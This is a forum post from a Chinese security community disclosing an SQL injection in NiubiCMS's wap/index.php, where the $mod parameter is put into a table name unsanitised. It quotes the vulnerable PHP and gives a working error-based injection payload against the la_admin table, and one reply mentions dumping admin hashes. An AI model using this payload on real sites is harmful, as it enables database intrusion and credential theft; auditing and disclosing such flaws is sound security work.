楼主: C4r1st

NiubiCMS通杀SQL注入一枚

[复制链接]
  • TA的每日心情
    慵懒
    2022-4-16 15:45
  • 签到天数: 247 天

    [LV.8]以坛为家I

    发表于 2015-3-27 10:16:00 | 显示全部楼层 |阅读模式
    牛逼CMS 地方门户网站源码系统 PHP免费版。功能包含:新闻、房产、人才、汽车、二手、分类信息、交友、商城、团购、知道、论坛、DM读报、优惠券、本地商家、商家名片等功能。

    下载了一套准备搭建,但是自己做了下审计,发现了一个注入。其他待细看
    在niubicms\wap\index.php中
    [PHP] 纯文本查看 复制代码
    switch($action)
    	{
    		default:
    			include template('index','wap');
    			break;
    		case 'show':
    			$id=intval($id);
    			if($mod=='job')
    			{
    				$sql="SELECT * FROM ".LA_PRE."job WHERE ".LA_PRE."job.id=$id ";
    				
    			}
    			elseif($mod=='resume')
    			{
    				$sql="SELECT * FROM ".LA_PRE."jianli  WHERE ".LA_PRE."jianli.id=$id";
    			}
    			elseif($mod=='fang')
    			{
    				$sql="SELECT * FROM ".LA_PRE."loupan  WHERE ".LA_PRE."loupan.id=$id";
    			}
    			elseif($mod=='chuzu')
    			{
    				$sql="SELECT * FROM ".LA_PRE."content  WHERE ".LA_PRE."content.contentid=$id";
    			}
    			else  //如果$mod不是上面的resume、fang、chuzu就使用下面的
    			{
    				$sql="SELECT * FROM ".LA_PRE."$mod WHERE id=$id ";
                    //select * from la_"$_GET[mod]" where id=$id
    				//这里我们使用补全的办法,把mod的值赋于一个已知存在的表名,再补全sql语句
    				//select * from la_"$_GET[mod]" where id=$id
    			}
    			$data=$db->fetch_one($sql);

    在/include/mysql.class.php里面找到关于fetch_one的定义
    [PHP] 纯文本查看 复制代码
    function fetch_one($sql)
    	{
    		$this->rs=$this->query($sql);//执行了sql语句
    		return $this->filter_pass(mysql_fetch_array($this->rs,MYSQL_ASSOC));//对返回的结果采取了filter_pass进行过滤
    	}

    继续查看filter_pass函数。在文件/include/mysql.class.php找到了关于它的定义
    [PHP] 纯文本查看 复制代码
    	function filter_pass($string,$disabledattributes = array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavaible', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragdrop', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterupdate', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmoveout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload'))
    				{
    			if(is_array($string))
    				{
    			foreach($string as $key => $val) $string[$key] = $this->filter_pass($val);
    			}
    			else
    			{
    			$string = stripslashes(preg_replace('/\s('.implode('|', $disabledattributes).').*?([\s\>])/', '\\2', preg_replace('/<(.*?)>/ie', "'<'.preg_replace(array('/javascript:[^\"\']*/i', '/(".implode('|', $disabledattributes).")[ \\t\\n]*=[ \\t\\n]*[\"\'][^\"\']*[\"\']/i', '/\s+/'), array('', '', ' '), stripslashes('\\1')) . '>'", $string)));
    			}
    			return $string;
    			}

    发现是关于xss的过滤的。那么我们就继续看关于$mod的,我们看看install/data/install.sql里面
    [SQL] 纯文本查看 复制代码
    DROP TABLE IF EXISTS `la_admin`;
    DROP TABLE IF EXISTS `la_admin_log`;
    DROP TABLE IF EXISTS `la_adminrole`;
    DROP TABLE IF EXISTS `la_adv`;
    DROP TABLE IF EXISTS `la_area`;
    DROP TABLE IF EXISTS `la_ask_answer`;
    DROP TABLE IF EXISTS `la_ask_question`;
    DROP TABLE IF EXISTS `la_ask_type`;
    DROP TABLE IF EXISTS `la_attchment`;

    随意挑选一个来进行”.LA_PRE.”$mod补全,比如admin
    sql1.png
    [PHP] 纯文本查看 复制代码
    DROP TABLE IF EXISTS `la_admin`;
    CREATE TABLE `la_admin` (
      `userid` mediumint(8) NOT NULL AUTO_INCREMENT,
      `username` varchar(160) NOT NULL,
      `password` varchar(32) NOT NULL,
      `siteid` mediumint(8) NOT NULL DEFAULT '1',
      `roleid` mediumint(8) NOT NULL DEFAULT '0',
      `status` tinyint(1) NOT NULL DEFAULT '1',
      PRIMARY KEY (`userid`)
    ) ENGINE=MyISAM AUTO_INCREMENT=1 DEFAULT CHARSET=gbk;

    那么我就补全的是where uid=sql注入语句了
    类似于
    [SQL] 纯文本查看 复制代码
    admin where userid=1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)#

    sql2.png
    sql3.png
    回复

    使用道具 举报

  • TA的每日心情
    慵懒
    2020-5-26 00:47
  • 签到天数: 215 天

    [LV.7]常住居民III

    发表于 2015-3-27 18:02:08 | 显示全部楼层
    我怎么没有看到人来回复楼主,应该有看到楼主把网站的管理账号和md5给爆出来了吧。感谢楼主分享,希望更多人能逐渐摆脱脚本小子这个称号,更好的自己手工测试漏洞。
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    2017-3-3 21:51
  • 签到天数: 7 天

    [LV.3]偶尔看看II

    发表于 2015-3-27 21:26:51 | 显示全部楼层
    看不明白......
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    无聊
    2016-8-19 10:32
  • 签到天数: 80 天

    [LV.6]常住居民II

    发表于 2015-3-27 23:24:11 | 显示全部楼层
    大牛,你这么屌,你家里人知道吗?
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    2015-7-28 16:16
  • 签到天数: 1 天

    [LV.1]初来乍到

    发表于 2015-3-28 14:37:25 | 显示全部楼层
    MYSQL错误回显注入
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    擦汗
    2018-10-23 12:23
  • 签到天数: 7 天

    [LV.3]偶尔看看II

    发表于 2015-3-28 20:27:05 | 显示全部楼层

    看不明白......
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-6-27 17:59:16 | 显示全部楼层
    支持中国红客联盟(ihonker.org)
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-6-28 11:50:30 | 显示全部楼层
    感谢楼主的分享~
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-6-28 17:13:03 | 显示全部楼层
    学习学习技术,加油!
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-6-29 03:48:56 | 显示全部楼层
    学习学习技术,加油!
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    指导单位

    江苏省公安厅

    江苏省通信管理局

    浙江省台州刑侦支队

    DEFCON GROUP 86025

    旗下站点

    邮箱系统

    应急响应中心

    红盟安全

    联系我们

    官方QQ群:112851260

    官方邮箱:security#ihonker.org(#改成@)

    官方核心成员

    Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

    GMT+8, 2024-6-18 20:26 , Processed in 0.023755 second(s), 12 queries , Gzip On, MemCache On.

    Powered by ihonker.com

    Copyright © 2015-现在.

  • 返回顶部